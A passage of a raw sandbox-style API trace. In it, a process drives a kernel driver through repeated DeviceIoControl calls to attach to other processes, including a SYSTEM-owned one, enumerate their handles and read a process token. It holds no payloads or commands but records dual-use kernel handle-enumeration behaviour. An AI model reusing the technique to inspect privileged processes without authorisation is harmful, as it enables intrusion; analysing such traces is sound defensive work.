(hObject=0xc8) returned 1 [0089.996] CloseHandle (hObject=0xc0) returned 1 [0089.996] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.996] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0089.997] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.997] PsAcquireProcessExitSynchronization () returned 0x0 [0089.997] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0) [0090.167] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80050497e0, HandleInformation=0x0) returned 0x0 [0090.167] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0090.167] PsReleaseProcessExitSynchronization () returned 0x2 [0090.167] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x19 [0090.167] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0090.167] ObfDereferenceObject (Object=0xfffffa80050497e0) returned 0x1 [0090.167] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0090.167] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0090.167] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0090.167] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0090.167] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0090.167] PsAcquireProcessExitSynchronization () returned 0x0 [0090.167] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0) [0090.658] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8007591420, HandleInformation=0x0) returned 0x0 [0090.658] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0090.659] PsReleaseProcessExitSynchronization () returned 0x2 [0090.659] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x19 [0090.659] ObQueryNameString (in: Object=0xfffffa8007591420, ObjectNameInfo=0xfffffa8003a80044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a80044, ReturnLength=0xfffff88005233550) returned 0x0 [0090.659] ObfDereferenceObject (Object=0xfffffa8007591420) returned 0x1 [0090.659] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0090.659] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0090.659] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0090.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0090.659] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0090.659] PsAcquireProcessExitSynchronization () returned 0x0 [0090.659] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0) [0091.087] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8007591b60, HandleInformation=0x0) returned 0x0 [0091.087] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0091.087] PsReleaseProcessExitSynchronization () returned 0x2 [0091.087] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x17 [0091.087] ObQueryNameString (in: Object=0xfffffa8007591b60, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0091.088] ObfDereferenceObject (Object=0xfffffa8007591b60) returned 0x1 [0091.088] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0091.088] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0091.088] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0091.088] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0091.088] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0091.088] PsAcquireProcessExitSynchronization () returned 0x0 [0091.088] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0) [0091.281] ObReferenceObjectByHandle (in: Handle=0x14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800483e9b0, HandleInformation=0x0) returned 0x0 [0091.281] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0091.281] PsReleaseProcessExitSynchronization () returned 0x2 [0091.281] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x17 [0091.281] ObQueryNameString (in: Object=0xfffffa800483e9b0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0091.281] ObfDereferenceObject (Object=0xfffffa800483e9b0) returned 0x1 [0091.281] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0091.281] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0091.281] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0091.281] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0091.281] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0091.281] PsAcquireProcessExitSynchronization () returned 0x0 [0091.281] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0) [0091.534] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8006dffbe0, HandleInformation=0x0) returned 0x0 [0091.534] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0091.535] PsReleaseProcessExitSynchronization () returned 0x2 [0091.535] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0091.535] ObQueryNameString (in: Object=0xfffffa8006dffbe0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0091.535] ObfDereferenceObject (Object=0xfffffa8006dffbe0) returned 0x1 [0091.535] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0091.535] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0091.535] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0091.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0091.535] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0091.535] PsAcquireProcessExitSynchronization () returned 0x0 [0091.535] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0) [0091.697] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8006dffa90, HandleInformation=0x0) returned 0x0 [0091.697] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0091.697] PsReleaseProcessExitSynchronization () returned 0x2 [0091.697] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0091.697] ObQueryNameString (in: Object=0xfffffa8006dffa90, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0091.697] ObfDereferenceObject (Object=0xfffffa8006dffa90) returned 0x1 [0091.697] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0091.697] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0091.697] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0091.697] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0091.697] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0091.697] PsAcquireProcessExitSynchronization () returned 0x0 [0091.697] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0) [0092.010] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8006dff940, HandleInformation=0x0) returned 0x0 [0092.010] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.010] PsReleaseProcessExitSynchronization () returned 0x2 [0092.010] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x17 [0092.010] ObQueryNameString (in: Object=0xfffffa8006dff940, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0092.010] ObfDereferenceObject (Object=0xfffffa8006dff940) returned 0x1 [0092.010] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.010] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.010] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.010] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0092.010] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.010] PsAcquireProcessExitSynchronization () returned 0x0 [0092.010] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0) [0092.175] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8006dff7f0, HandleInformation=0x0) returned 0x0 [0092.175] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.175] PsReleaseProcessExitSynchronization () returned 0x2 [0092.175] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0092.175] ObQueryNameString (in: Object=0xfffffa8006dff7f0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0092.175] ObfDereferenceObject (Object=0xfffffa8006dff7f0) returned 0x1 [0092.175] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.175] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.175] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.175] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0092.175] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.175] PsAcquireProcessExitSynchronization () returned 0x0 [0092.175] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0) [0092.501] ObReferenceObjectByHandle (in: Handle=0x28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8006dff6a0, HandleInformation=0x0) returned 0x0 [0092.501] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.501] PsReleaseProcessExitSynchronization () returned 0x2 [0092.501] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0092.501] ObQueryNameString (in: Object=0xfffffa8006dff6a0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.501] ObfDereferenceObject (Object=0xfffffa8006dff6a0) returned 0x1 [0092.501] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.501] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.501] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.501] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.501] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.501] PsAcquireProcessExitSynchronization () returned 0x0 [0092.501] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880052335d0) [0092.689] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00029b610, HandleInformation=0x0) returned 0x0 [0092.689] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.689] PsReleaseProcessExitSynchronization () returned 0x2 [0092.689] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0092.689] ObQueryNameString (in: Object=0xfffff8a00029b610, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0092.689] ObfDereferenceObject (Object=0xfffff8a00029b610) returned 0x1 [0092.689] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.689] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.689] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x148) returned 0xc0 [0092.689] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0092.689] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002ef9060, HandleInformation=0x0) returned 0x0 [0092.689] ObOpenObjectByPointer (in: Object=0xfffffa8002ef9060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000a2c) returned 0x0 [0092.689] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x81 [0092.689] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a2c, DesiredAccess=0x8, TokenHandle=0xfffffa8003253440 | out: TokenHandle=0xfffffa8003253440*=0xc8) returned 0x0 [0092.689] ZwClose (Handle=0xffffffff80000a2c) returned 0x0 [0092.689] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.689] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0092.690] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0092.691] CloseHandle (hObject=0xc8) returned 1 [0092.691] CloseHandle (hObject=0xc0) returned 1 [0092.691] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0092.692] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.692] PsAcquireProcessExitSynchronization () returned 0x0 [0092.692] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.692] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002ef0860, HandleInformation=0x0) returned 0x0 [0092.692] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.692] PsReleaseProcessExitSynchronization () returned 0x2 [0092.692] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.692] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0092.692] ObfDereferenceObject (Object=0xfffffa8002ef0860) returned 0x1 [0092.692] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.692] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.692] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x36, lpOverlapped=0x0) returned 1 [0092.692] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.692] PsAcquireProcessExitSynchronization () returned 0x0 [0092.692] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.692] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a004a4c080, HandleInformation=0x0) returned 0x0 [0092.692] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.692] PsReleaseProcessExitSynchronization () returned 0x2 [0092.692] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.692] ObQueryNameString (in: Object=0xfffff8a004a4c080, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.692] ObfDereferenceObject (Object=0xfffff8a004a4c080) returned 0x2 [0092.692] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.692] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.692] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.692] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.692] PsAcquireProcessExitSynchronization () returned 0x0 [0092.692] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.692] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a004a076a0, HandleInformation=0x0) returned 0x0 [0092.693] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.693] PsReleaseProcessExitSynchronization () returned 0x2 [0092.693] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.693] ObQueryNameString (in: Object=0xfffff8a004a076a0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0092.693] ObfDereferenceObject (Object=0xfffff8a004a076a0) returned 0x1 [0092.693] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.693] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.693] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.693] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0092.693] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.693] PsAcquireProcessExitSynchronization () returned 0x0 [0092.693] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.693] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003050460, HandleInformation=0x0) returned 0x0 [0092.693] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.693] PsReleaseProcessExitSynchronization () returned 0x2 [0092.693] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.693] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0092.693] ObfDereferenceObject (Object=0xfffffa8003050460) returned 0x1 [0092.693] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.693] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.693] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.693] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, 